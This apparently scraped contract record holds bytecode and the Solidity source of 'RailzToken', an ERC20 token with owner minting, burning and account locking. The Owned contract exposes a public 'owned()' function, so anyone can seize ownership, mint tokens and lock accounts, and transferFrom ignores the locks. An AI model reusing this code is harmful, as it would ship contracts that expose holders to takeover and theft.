3d8493913b7502cfedcef2801097f0278a7c68986adbe634d44c882a1242147e276fee7962d4c69ca4c8747b3e49701097f0675532b80f5aaa605219de7fe8650e24fee1c3b0d36cdf4fb605f6215afacee01097f05599e790bd325b322395d63d96cd0bd1494d4648e3d1991d54c23d24a71434201097f043545892bb5a364c0b9acd28e36371bede7fd05e59a9dcd875c44ff68275b2b01097f038db61aa2a2b03053f5c51b155bc757b0634ce89baace113391369682fc1f740191508083828584878689888b8a8d8c8f8f097f071b2b6b03e8cc0365ac26c4dbf71e8d426167d79f8bd1af44738890c563062a01097f03a663fc27ec3ad56da89d407089bcec0971cebcb3edf0c393112501919643d701097f01030d58878296e14b1c5bcafe7e817ebe4aa1039aa96b9d0dd7fc915b23f42a01097ecb3335374cc2a2350fe53d2389f04952c4d634f489031742dfccca17be2e0901097f06ae3ee97ea5dcfbb7c36cffd89665baf114fae391c0367be688db09861a8ca101097f07b16c33c4a8ffcecbd83f382469e1d00a340ceab5e7d9c0bd4fd010b83f431001097f010f236430f20aafda49d1c3e3759c510fdf0c0c19f89df6d5d71deac88b547b0191508083828584878689888b8a8d8c8f8f097f0104b04e96151f5103118c4eb556cd79899148fd6656e73cb62f41b41d65e4d801097f0253bf2869135f4bda4029cae2819b2f468ae88530f3ea771090b2727814c49401097f065d50aa3c1d84a3deee14057eec98656a1296cdcbe32250bfdaa50ffac4c5dc01097f076323f8567119897f10d58e1552c98f5a62f03a16d3737e20fc2b0a31a3a84301097edaee1c7b34ecb34717b7313dc4a299dd1a161447e2e0249426a6fc33a7228901097f02bfd1294f111a5a90842d19cffb97481aefbc09ab6c47d7dcf91ba228019c0701097f04f63db02e10fbe428a5dda8d9093feef46cc19568a3c8ad2fce7e75190040950191508083828584878689888b8a8d8c8f8f097f0761a240cd8aa2f135daf0760bfc2c9d5e896e93a45426571cdad9118722e2b001097f030a2e8ac9e6605fd722dffb4caca8c06dd4a8968a7bf41a5371cb1a07d11c0001097e5ba89e0eb3830039d0f8a9ca00acef15db22374c965b01abc49dee46270a7d01097f07e8659c39d7a102a198f0e7c3814060926ec0410330dd1a13dfadeab4e7459301097f05a00feeb391114d7b976654ab16ddf8360f05671b34d4a97da278c0aef34d7601097f033ff2d848bf237f536524da818598ae0f2516ebee526b77957448973eefacd301097f04e0a5dd802deed7cb8d06527beb15dad32547bae77141c32473f4c8148912e30191508083828584878689888b8a8d8c8f8f097f0776459dfedbbdfcef7a31e0f60c6480fc0676b280fdb6290859fe586d6e610601097f059d0d8ca9ecda81081dfcae7580ab3c08a72195438c1556000c0c1dbdc0817401097f06eb66d366da57e4ae717307dfc3351579fe857c51aa82b95044473c9ed1437701097ea758a70ba6a0cbcbc65abfeca51359904f790752c3df55d42707253d8dea7001097f02046e1b4fd4c108e8f832f5bcc4dd46abf0d19ef0237beaec29d6c12fb9832e01097f0472d99d1a6e1a6aef339eab1af3d53af7a8326e4d0a6bac73c3a159031c368601097f01b0fa36439192f135c239918bf47ad14b55ced699f4582d929a60dd227b34ff0191508083828584878689888b8a8d8c8f8f097f0728dd423dbf134972cbc7c934407424743843dd438e0f229afbcca6ce34d07d01097f04e42531395d8b35bf28ccc6fab19ea1f63c635e5a3683ac9147306c1640e88701097f01ea9bd78c80641dbf20eddd35786028691180ddcf8df7c87552dee1525368ba01097f068a8c6f86a8c1ebaeb6aa72acef7fb5357b40700af043ce66d3dccee116510a01097f025c5f348c260177cd57b483694290574a936a4d585ea7cf55d114a8005b17d001097f0339b405bffb6dbb25bc0432e9c726b7f94e18cf1332ec7adfeb613345e935ab01097f023590dabe53e4ef12cba4a89b4741fcfaa232b7713d89df162031c8a627011e0191508083828584878689888b8a8d8c8f8f097f0534a4f3cf71c93023e473f12e407558b6c24b712204fd59ddc18c7bcddd571e01097f02e1b2a3c32aebc0be30addd8929c01714783aaf01be8a1d35e830646e8a54f001097f0605a244f646a825602891bf9ddffef80525010517b32625759b0bf5a7f2c38601097f04f81a946bb92416d212e4d54f2be5fa8043be6fa482b417d772bfa90be4e27301097f0655038ca08eba87484bc562e7fd50ce0584363278f9d716e31c650ee6989a2b01097f044938959c2e944eb6e5c52fc4ee40b34df37905fa348fa109f6875c1aa1800001097f030b11c32e8aab0c5908651a8d445395de52d5ce6a1efe75f2ad5e2c8c854a300191508083828584878689888b8a8d8c8f8f097f04a92733a733f225226a3d7f69297e7ff378b62c8a369e1bbf0accfd7fb0977e01097f01345876a6ab567477c15bf37cc95b4ec39ac287887b4407593203d76f85333401097f0580550e76557c8ff3368e6578a0e3bed0bac53b88fefdde88f00d7089bc175d01097f07d7faca17be1da74cf132dda889a05fce6e710af72897a941625ea07caa8b0101097f062be425458d26cfedf8ec23961cdfd9f4abeb21f1debbe87bd51469013358fe01097ed77a8e8eed7ce4931a6d2a4774c21864e2c9f468d080af9aba6756433a1a8d01097f03e850e31c0345726c1ace38537dd88a50c85d6819ae98add1bbd62b618f7a1c0191508083828584878689888b8a8d8c8f8f097f0375a5d9b11c83d06a04dc9f1908b8183adc6f04e5b2ceeaa23d3b68c973ee7701097f076640613af9ed1a125624e0c38252bee457ce87badb24fc4f961e55883d907701097f05428ff423f2bbabcb5f54aafa03d99a320b4b255115351f50b229eae552217801097e6dcfc3a99563a5ba4368ac4f11f43e830c5b620a7273330e841bedec0bfb5a01097f02652523cbbec2f84fae1a17397dac1965127650479e1d5ccfc6bfbfcbb6799601097ea737d6916aa6a869252d8ff294a55706e95e0844e6b047755704e37d978e0901097f02833391a62030808228d14437d6f91b31c0038c14988a23742b45e16f9b84b50191508083828584878689888b8a8d8c8f8f097e284f7815a7eabc1dcf56da511f7d739f1a199f8ffaf3474f645d2fc93327dc01097f01e141c5429a369996563573bf61d7f713cb7d25baadff636ba2756c65a910ee01097f060bdb98c079bd5cef216803b056afce03f6ea41934275c965d6e196240fb95301097f07f2abefac9e7f8109b0a2d25d0bd297059e45dd66798ac8b299f0a3e442dd2c01097f041776c662b44a36c7075097c14b6010cb321591a4eca2866d58252eaf9471ac01097f0573b13b32161c11c9b16eff7cf93fa770a3ef667547a27503e39092aeabf73e01097f0327319fcc0d34a0d64f5acab00244b43674a60bef754844fb2920c87c90cff00191508083828584878689888b8a8d8c8f8f097e755f0e4c374e2fa4aa7eda10041e2139a4a7793eea44f415c73ad4fcba175801097f07b9cd3b277f00a75a17961d2d8e46e6a1838c8500c569cdcad08bd4e0cbae8401097f021f5ea8660d290f28b9300e02ed84e110d7338a74503b369ad144a11cf79f6301097f05e4b0ecc6a6c15ed16c1c04e96538880785ff9b5bff350f37e83b6fed446f1401097f03d8506e792fa9ac86ac9739d3d5bf63cfc13c456a99c8581adf590c8d9b72eb01097f01e3b6498f0daba2fd99c2ac65461c3fa519cb738b53cd6f002e97199fa4161c01097f070930735d913d54915fba20c97f07cba8f33eb8f4f81fd869699a10e83264cd0191508083828584878689888b8a8d8c8f8f097e16a36769ee50227c564bebce3d9cd7c4ca55702a7c7ccf403075f68f05a0c201097f03aa748723229eb8b33354e0901f50ad052b6c1006916790c979133c4442be9001097f05db8c52b6adb520496f9edd7105c92df67e8605ff4e0cc59992c3eb651ac7a401097f04b2222d0aee638c7e5efd8ada791638ac155a01b78f3b532283574653998bb201097f026a4b2a61f40c1ad77737b99cb27d2f3118622be64f0120907e2589d2f25ebf01097f05820792f23a13d58ddef0607950d422598bb1f21888dace88929fbe7d4828c401097f03678de28b6896959edf5c9dc0caec59b02dfbbf54811f87939b32d0523f58bb0191508083828584878689888b8a8d8c8f8f097f03cd13f84bb7ae6eeccc1012837d2f3e017f069e66cf047172bc70371f5aed3801097f07af8995e2ceed8841e34d44365c7ca14f5980a6a5c67b9813fa7bfd74a9c1b101097f06d7af6524127a117184a0c12a6ff30d28b14933a4e96bb3b738d2a36db72e8401097f073200d12e733294b5cbb8ffe7fb3977088135d0b0e335135f9076d04a653c5801097f0229d7fc2a1bcfbe00d5773f8dadd70a2641d8578fa73e66263b3512d3e4049101097f029889daac66c404d6491ec3a435d810a2877d885df1a3a193697b79b4af39c401097f0171f0638dedf0b69655fa9930bcbc91b257e299a6717bd8ea23ef550c8faff50191508083828584878689888b8a8d8c8f8f097e0ded0f75cd0a6a5401a954d26880eaf12050ce6458d3254c9dd6354bf6627801097f07fc7d854c9d0b3bfbf826c384b3521af0f29f975613e8ea6dc14f37d8beb54c01097f06d1c3edcf1de16a4e0ad7d8aa099a31fa2cfbf81f6d1a5798bd1ef93ff906af01097f03444c0f008988c8f600270b365ff926f016e49a54ab35bac4f3b3a42a5879b101097f02a48058c77edcd75dd4323d9bb9eccb854009b1184fd716a8202f8627bb544701097f056cbe248ebbc2f57ca8b943b219ba245791592f687815293a4499ef598fa9b701097f0658160ea7b654d786dc624b258c691f594e080610c2d41d6ebea0d8e33968490191508083828584878689888b8a8d8c8f8f097f06fcc261ded0ba97b4defc7c9bcd32b5dac89e4c08cb55cef98c6b50f5a3a28901097f07b74edd15d97b289da4040272cfc573f69a8c9a8b36d05e3e50b598508b7f9d01097f019637a12aa8b822c4a3f3551ef6c538043371a12a962de1dc25d67e0a5ee56101097f04c05a7abaaf08f21d93b2257d4f4a3ab2b44f4ac44ce0444418c864ca18470b01097f0657060a10db73c4a9b6aa6288dd6164e0b50a4e6efbc2ee599a0cf4fda33b8101097f0688c61ee887c1497ffcef82163f1a81bf7778f2c314ffbd325627bf0b25dc5a01097f054ab13ae1984dcc7d38c867a47f4a8cf786079ee07cc94ab5ec1962c21f638b0191508083828584878689888b8a8d8c8f8f097eccee381472bb7dcae008316038c87a44fd9295f730e389eff14e86442c41b801097f0610bf9b7ea4557d72411ec90fb677f9a2ccb84c76f003954da4e7f439c9a84c01097e51d6322f7d582892421e977464b49c4e6e64af2438da9a7f21a061c77712dc01097f07d92a463e2aec09eb86f4647dc9ec241904135b5eb53ea272e809e58c0a271e01097f017ab90241b58bd3bd90b8a5c7f30aa9e5afeedbe1c31f21ca86c46c497b573c01097f0199d80ad30b4b330fc8a063d1e87307993e1d98822a1729488ba8a58604569101097e601a139ed75acbecf557cd6513171385a119087585111c30bbc1b65cd6d30d0191508083828584878689888b8a8d8c8f8f097f077b10e23b08892ab18cc6b14dfda6f4be5c2fec94a12e3622622376edd0d6a801097f02a17a5c34f9f598deb5bec334fde606eaa5601df908eb5825ecf70f9cecec3f01097f07e176a66dcfd58e240c4546cd760b7e5ad02e4f0265c6a2f38d710bbdf99d5501097f027e76848780aba5b12061bffefff1710995586618a2f32792d62771d31ed51901097e043f51dfe0f1cf290c9a522e2a5e734f79d220be80348438c676295c3d429e01097e0f1f93c3d919653f02fba06fcba1ab89497fff53eceff6a7d129887d5a9e3b01097f079fd6f5f9b042ece36af6b10eae2eef9de9c9dd18752eb66868a0c301015dd90191508083828584878689888b8a8d8c8f8f097f01958435eb08883bd69b6a56a8f3103c22f8ae206a3d4deaf4a04118b4dd6a6c01097f0329230075f64ffbf631eb0c40b97d71b4dc38a08bd18b638f57e5644680068c01097f0219557f1604be8622e697e986c03d2a49e40cce558a264bf4f1ebe06493eceb01097f07238f034b8c57c8b59b0f744ababf9da8229152a051d4f3b3c4995233ac111101097f0201019c76d9aa29a00e6b18a4eeac7b1322b44285c57cf4c0b68a87120b1d3101097f069d95f3c7892a1cf65b45c324be2294c4c5459e05e0feaa0b8bb98cd8bc958f01097f078aafbe80fa5ee9a846e991bf35b81567a6dcbb1b190e7ee47e53fc66422e840191508083828584878689888b8a8d8c8f8f097f015ba3c5a882d4dfe3e23db18368ade6b2d10ef52e34f12ce0d62e7183c10f7e01097f01a4bdaf2bff969eff8cef73e762b6346492b8d0f17b2e42956c526f625241ea01097f04adaabee9ab3c6ee7fc67a2ddc09c5185755dcc76cc3b814a6b71aa7ae542ea01097f02f47cde744314dc0502faffb0387a2e765e4354b0516ee9ab0b97a1b6c33ec201097e90b2b18b3fc2919a55b71ad6d6fa67dda752bd02c985b59e6554f557fe4a2e01097f06eba866251e1dca38a21c8b3fad0aa3c22a45dd89884c4c68bd7ef67de64f5201097eb8dd33ef8726747fb368aedf80c2f4a720bc1b5220f4a3f0e56e2fafb7e2430191508083828584878689888b8a8d8c8f8f097f01fac2f441d05a3b483675200cb1ebc6f4ca6ecc5ae60118fe8745f95217bf8b01097f06d28879c6f75c4ede18e1b94ffff964d08c79038fd9ba2e7873cbefb5f323db01097f028b38e0334fc06af4c94ec4f9434923d4149cc51817526597423fd4692c59ad01097e84add7269e2e41ea57aaed996f4c012ba7003ea2b994670cc0d554b7a8bd2a01097f064d672ca00300ddd5e9c9d2db433d7623bb54c8eb2db51b235a07616f1517e501097f07f71cb5526600d15d3413ec971ee3b133718224b3cbdc68171a53d7c868438201097f038e5702bb10256e1856a5bfb03a06b231b89a36e2f84af80bcd2d027153d8470191508083828584878689888b8a8d8c8f8f097f01a8d4b2044b8e03b325c353f3f92283013920b92f479064b6e93159d2ed3ba001097f068384718bd3bb23f32999f1edcb2dbddd8136259e676c4492d0cafe80ffd85601097f031a77aa370bb597dbdd0422612a7dd947aae09a5b0b17d1996f13a85103d15001097f040a9cea0394d15ef057c2923d4185f290fe2347e00529d92f927ef506e3b5e701097f02a427d70a34b6b5237894f065ef5d60a9872ba444d47d98648b080b8ddb2a6801097ee505592d606917f898c54a7afc45b328be3cd48121aee2e8f05185a3e23e5f01097f045b4e74f19b293bc3d3d172a101e344558fcf4ccfe5eecefe31f45a45614df70191508083828584878689888b8a8d8c8f8f097f068486394265c9dc8fae42c8fd39605d3179c981cb44cbe33740a3deb907bc5901097f02868a08eae382c069047152ee964ac5ebd242b44267e97e578802440ef764f501097f03159144c85f2c515eb806e5aedd908553057b69c556d226adc6e4511a35423c01097f04387edee6899d4a85883d2f8524978a4634ff82779f150b7b0c861bb315ed3f01097e68c5830832f6270a189b074d7675fcbc1d1c5cc06ce9c478bf8f4d5ac1bf4001097f0399c00b8ebb398248bb1f52528d5241e7366b73c2d89f57a11dc82c530cc57c01097f03238aeb8f6bea8bcaaa1bdd5b4f917ccfad8eab031785ccdc648b47d7ea4be80191508083828584878689888b8a8d8c8f8f097f0357bf5d87c973292381fa4320114551a837a1d6cb6e2bb0eeba534fb2e0174201097f0360274f27df6eeec0b7b65fbb227a8214ac3e55cb37b1970e18489ef5b574e101097f01cb6e2fba23730f5bf9d8e726569b6e8bf6b5ffe8520339503c5469cc3713a201097f03924324af1994280f87f289fdae0b9a2d8cb9914ec37d319c18daf02921181501097f03c4ad04a5a057e4411487858dbe16af8e3fc065ef7400749ffdc248bdb25bc501097f050c92b3e6848a21001be2a268615e1e26cb4918ecb09640efaaf1d8b71568fb01097f047d21828025d0cbab84084965a49dd14c7833aac562b55de808a94777df2ea30191508083828584878689888b8a8d8c8f8f097f06207c6a2fd70c19a10430566c9efaad95eab8cbddf308f0057c81f3155a25a001097f02d4acebd804035257147ad8d8419a5f5762b4b543c4846ef9acf41856e672ee01097f078f49c214872b5cce18ead0207a165fb741ea818a69cfe9647737323f70f4f501097f022aa8c5c5ff26f9a0edc768ae32ff4f71a71205b4e83cfa0cc687a1e02566ba01097f05dd2e0680c7eff25211f31d3c30a9f454500d6eb09d46d87a75a42b190203cb01097f05ac4bcdb9c14634ab83c13a30822ddbabc54248cf1177b11cc2aed24d2d32f501097e77dee5f03389585fad0d1f2a8accfa4cb985344891b8befaee42f3462cb48a0191508083828584878689888b8a8d8c8f8f097e0737dba18eb055a12d842bfae32fd146dcd2d7bb932a2591aa864458d6d65201097f023bf372b0b59abf250463697ef4b2096eb1c9674613918b4d0c79aa10d9fd5901097f073724274fdd351c378e597da1615dc51058e14994464cb7b318766199ac2a3501097f02e14e83be58cde3ed5f3fec8ba6462493a4a2f0f7d6c846006220eccd49ef2501097f04846d310812d81ffda3731e8289005e2f0e05411e76b1c84332c3ee9e831afb01097f0160abeb38bc4f22af5fe618c19c77c39903007900722bdbdeaee059f31544c801097f0264a535ae10091157ed59b04955dff66897af74cae20456bb830336b803ae470191508083828584878689888b8a8d8c8f8f097e316ce6b23e720b8302e2d4bd968c0f140f69930e46a54784a7cee7e0b8a0c801097f0775d95a0beb287c98663a3f9a9c577ffc67c1fe6fbe2db5b08829a2c3eac92201097f02353c4a418bdc1e461be162140cc69c26eb9d99f08924991f85058f87f6df4101097f0181ef9cde124459dc0e2aaf93512abd49a10328fb93dfc4d49ab671db64bbc401097e7ff76956e0cd2b490b47a0a0497df5f874cf47f54c45f08101256429b4846001097f0318e5a52d685eaa06e0f39159a344b3d97b52688b671d133954aeff0bc1770701097f07616cfc6834643d4b95ed1cfec036f816a7c3d3b9800f301f98ddf341712ebf0191508083828584878689888b8a8d8c8f8f097f059869515fb57ea7733567e5d849bcaa00c00e0f86f4ebbd2c7a6f4c0c77692b01097eb806f4e19770279fab5427b8eaf5bc68bf984d6ccea1e878a7aaf32c9975d901097f04fb0c93fe30da048576fe5e839483636218dfdda3d05f1d68847a4c0167597f01097f0685af2d7bbf30cd0c5c3d41c430a8657eeafeeb4596165faaa73d802087ad8001097f06f617dce150ea148cb8c7488fe4caa920b2000bc8122cce1891e4b76cddc9d401097f047f02fc512b153462379f4f793c7cab9e659bfdb07d3439d29039f566b7236d01097f04ce0a14a5a9c30a38062eb8870eeb4ff3562db743c0f3eede2e3d3862a2eb7c0191508083828584878689888b8a8d8c8f8f097f07b077d27c7007656025224fa4e528b4c4261f43c3da1e42bd1349403af55cbb01097f050f5f6adbf0b9abc6e231b855018f4ec806a4f199cc511bed5c423ebef298e401097f05fcfeb78685abb1ce610e516ab7e2aa210fd90844c8d1c89cd798f3d71bbcb301097f04255a568f4597862e1dfe0c391b97059d179d7eb4d868f61364835e5028f9dd01097f0206d7f23d0fe1b1c0967486ebb792d7fdf5b1691d2c2f9306e211d3b849526b01097ec61c74cc988663ee09f4c725d5b1f04549bd342d3550ce17427ac75592b63701097f0175a904681c7a91856bf7fcf8410d2c19eb8705267914489664a1ea2af5b8fe0191508083828584878689888b8a8d8c8f8f097f01bd842a4ec97e1489ceb542bd3161e5a00ce431547bfadfbced954d993b0a1101097f014899e0f97aac917d46ce5e9ddf11194fb846d2c52726af4085f27c570a98a901097e842955243a56778a332ba9be0b22b2af62efaa50068d3078675fb76c225e7601097f06dff267c3bbce68474294da908df4f5cf2a4160c638f7cb45c098057e968f4401097f072c0dd24a576b47a84cdd1a20227773b5621f85b781c288625e3368e1cf738a01097f0728771890334d0c9b0f400543bdc13ea6890497bc87c509a04f8014916c13a501097f030632b3865a272a1a00270430744ee90b40ff16e1fc44515876ce8e36215ca00191508083828584878689888b8a8d8c8f8f097f076d656560dac569683063278ea2dee47d935501c2195ff53b741efe8150989201097f01dbdc2ea2e555309578eeb2352fbc47c8fd5ed77cc09903b577700f9a4d1be101097f0119bcf6402ad9953851bac8e318d50af699b0cc75e2597aff0a2cc521975aa401097f07c3234094dff9a45064a5b9abd0667c04dd76c62722984f7f8475e7cc344c0601097f01495d40cf3f13c5fc90653c2b2f02e0b833790c07576286d3127f745ea920ae01097f040f019a18b8097235264cb8efee7d149321a199ccd32ffac43b5a778dfadda101097f04e23809ce49747990e43b2d976083dc84d67e75cf22e5a76ad5b7a2dca50b3d0191508083828584878689888b8a8d8c8f8f097f07f0a3bec1d34f2fd632993a3d9c6432401cec25ad9d6196b909f3672980bd0501097e9460aa25f77fc10cfcc4579e2011e39ce477a32a768aa553201e556ed2bbe101097e611384709c407d85c93256b6aff04c4ac515450c70cf507994165abfe2347b01097f02065bc7a4aa38d5fe86f9b593ccd060f8d4a5a19a9ca8b182c32199a4bd27be01097e9969a08d753e885857a5696d1cafd39f62bb193acc99089df76c240acd2fc001097f06df73a948c95439f3230282814ba7e26203cfdc725901e4971ad9cff4db439601097f01cdf0446663046f35c26d51e45a5233a93c51f4f7f1985dfe130dd67addefa30191508083828584878689888b8a8d8c8f8f097f059cbe680183d1dc3161ee7f945f38ab9461a5293748b2b7be84899e62c9860b01097f05030fda0c29a929e6cd634b9f3d1bf975c363012cfb439cae13495f8ce1022501097f049aadcf98ef59c0e5d2097845949988862b96194abc8c5453f056f23248289201097f0319c68159cdf104c2543486ff784860f302187d77effb9a5fefe4e16f0ddc2c01097f0575531b404cdba72a63dbbd17aef7d9ae00f73eca7c6dcdaf5e0778c921be4101097f035ca7fa56aa38486833a976804899ba3c97fdaa0a23056cd2dc9bfdbcdd2e3101097f047dc0e209ee8d0b67f63d9e63837ff2ab462c4839bc14a1a3e802327ff0e31f019150808382858487868989097f0744bdf0c2894072564f6eca2d26efc03ef001bc6e78b34bf6be3a1a91fd90fc01097f073c57ecea0c64a9bc087e50a97a28df974b294c52a0ef5854f53f69ef6773af01097f07dd14b0299ff6064a96fe97e086df3f64a4c7e8b4a58a5bd5fe1b9cf7c61e7c01097f0562f636b49796e469dfe9e6748c4468f340e8f69e3f79cfe6925a261198dbb30191508082816125d857fe5b06939250505056fea265627a7a72315820a807b49d4dfc290014f4c4b873968e17519e046e2861ae688557261323c67ef864736f6c634300050f0032
|
{"success": true, "error": null, "results": {}}
| 5,792 |
0x2ed03c143d3f2062f0bd4a12229f28fb6a3eeae5
|
pragma solidity 0.4.24;
/**
*
* This contract is used to set admin to the contract which has some additional features such as minting , burning etc
*
*/
contract Owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/* This function is used to transfer adminship to new owner
* @param _newOwner - address of new admin or owner
*/
function transferOwnership(address _newOwner) onlyOwner public {
owner = _newOwner;
}
}
/**
* This is base ERC20 Contract , basically ERC-20 defines a common list of rules for all Ethereum tokens to follow
*/
contract ERC20 {
using SafeMath for uint256;
//This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) allowed;
//This maintains list of all accounts with token lock
mapping(address => bool) public isLockedAccount;
// public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
// This notifies client about the approval done by owner to spender for a given value
event Approval(address indexed owner, address indexed spender, uint256 value);
// This notifies client about the approval done
event Transfer(address indexed from, address indexed to, uint256 value);
function ERC20(uint256 _initialSupply,string _tokenName, string _tokenSymbol) public {
totalSupply = _initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply;
name = _tokenName;
symbol = _tokenSymbol;
}
/* This function is used to transfer tokens to a particular address
* @param _to receiver address where transfer is to be done
* @param _value value to be transferred
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(!isLockedAccount[msg.sender]); // Check if sender is not blacklisted
require(!isLockedAccount[_to]); // Check if receiver is not blacklisted
require(balanceOf[msg.sender] > 0);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
require(_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require(_value > 0);
require(balanceOf[_to] .add(_value) >= balanceOf[_to]); // Check for overflows
require(_to != msg.sender); // Check if sender and receiver is not same
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract value from sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the value to the receiver
emit Transfer(msg.sender, _to, _value); // Notify all clients about the transfer events
return true;
}
/* Send _value amount of tokens from address _from to address _to
* The transferFrom method is used for a withdraw workflow, allowing contracts to send
* tokens on your behalf
* @param _from address from which amount is to be transferred
* @param _to address to which amount is transferred
* @param _amount to which amount is transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns (bool success)
{
require(balanceOf[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
require(_amount > 0);
require(_to != address(0));
require(_to != msg.sender);
balanceOf[_from] = balanceOf[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
return true;
}
/* This function allows _spender to withdraw from your account, multiple times, up to the _value amount.
* If this function is called again it overwrites the current allowance with _value.
* @param _spender address of the spender
* @param _amount amount allowed to be withdrawal
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(_spender != msg.sender);
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/* This function returns the amount of tokens approved by the owner that can be
* transferred to the spender's account
* @param _owner address of the owner
* @param _spender address of the spender
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//This is the Main Railz Token Contract derived from the other two contracts Owned and ERC20
contract RailzToken is Owned, ERC20 {
using SafeMath for uint256;
uint256 tokenSupply = 2000000000; //2 billions
// This notifies clients about the amount burnt , only admin is able to burn the contract
event Burn(address from, uint256 value);
/* This is the main Token Constructor
* @param _centralAdmin Address of the admin of the contract
*/
function RailzToken()
ERC20 (tokenSupply,"Railz","RLZ") public
{
owner = msg.sender;
}
/* This function is used to mint additional tokens
* only admin can invoke this function
* @param _mintedAmount amount of tokens to be minted
*/
function mintTokens(uint256 _mintedAmount) public onlyOwner {
balanceOf[owner] = balanceOf[owner].add(_mintedAmount);
totalSupply = totalSupply.add(_mintedAmount);
Transfer(0, owner, _mintedAmount);
}
/**
* This function Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner {
require(_value <= balanceOf[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balanceOf[burner] = balanceOf[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
/* This function is used to lock a user's token , tokens once locked cannot be transferred
* only admin can invoke this function
* @param _target address of the target
*/
function lockAccount(address _target) public onlyOwner {
require(_target != address(0));
isLockedAccount[_target] = true;
}
/* This function is used to unlock a user's already locked tokens
* only admin can invoke this function
* @param _target address of the target
*/
function unlockAccount(address _target) public onlyOwner {
require(_target != address(0));
isLockedAccount[_target] = false;
}
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b3146101865780630ac436a4146101eb57806318160ddd1461024657806323b872dd14610271578063313ce567146102f657806342966c681461032757806347a64f441461035457806370a08231146103975780638da5cb5b146103ee578063905295e31461044557806395d89b411461048857806397304ced14610518578063a9059cbb14610545578063dd62ed3e146105aa578063df32754b14610621578063f2fde38b14610638575b600080fd5b34801561010257600080fd5b5061010b61067b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610719565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b5061022c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610846565b604051808215151515815260200191505060405180910390f35b34801561025257600080fd5b5061025b610866565b6040518082815260200191505060405180910390f35b34801561027d57600080fd5b506102dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061086c565b604051808215151515815260200191505060405180910390f35b34801561030257600080fd5b5061030b610c11565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033357600080fd5b5061035260048036038101908080359060200190929190505050610c24565b005b34801561036057600080fd5b50610395600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610df1565b005b3480156103a357600080fd5b506103d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ee3565b6040518082815260200191505060405180910390f35b3480156103fa57600080fd5b50610403610efb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045157600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f20565b005b34801561049457600080fd5b5061049d611012565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104dd5780820151818401526020810190506104c2565b50505050905090810190601f16801561050a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052457600080fd5b50610543600480360381019080803590602001909291905050506110b0565b005b34801561055157600080fd5b50610590600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611271565b604051808215151515815260200191505060405180910390f35b3480156105b657600080fd5b5061060b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167f565b6040518082815260200191505060405180910390f35b34801561062d57600080fd5b50610636611706565b005b34801561064457600080fd5b50610679600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611748565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107115780601f106106e657610100808354040283529160200191610711565b820191906000526020600020905b8154815290600101906020018083116106f457829003601f168201915b505050505081565b60003373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075657600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373fff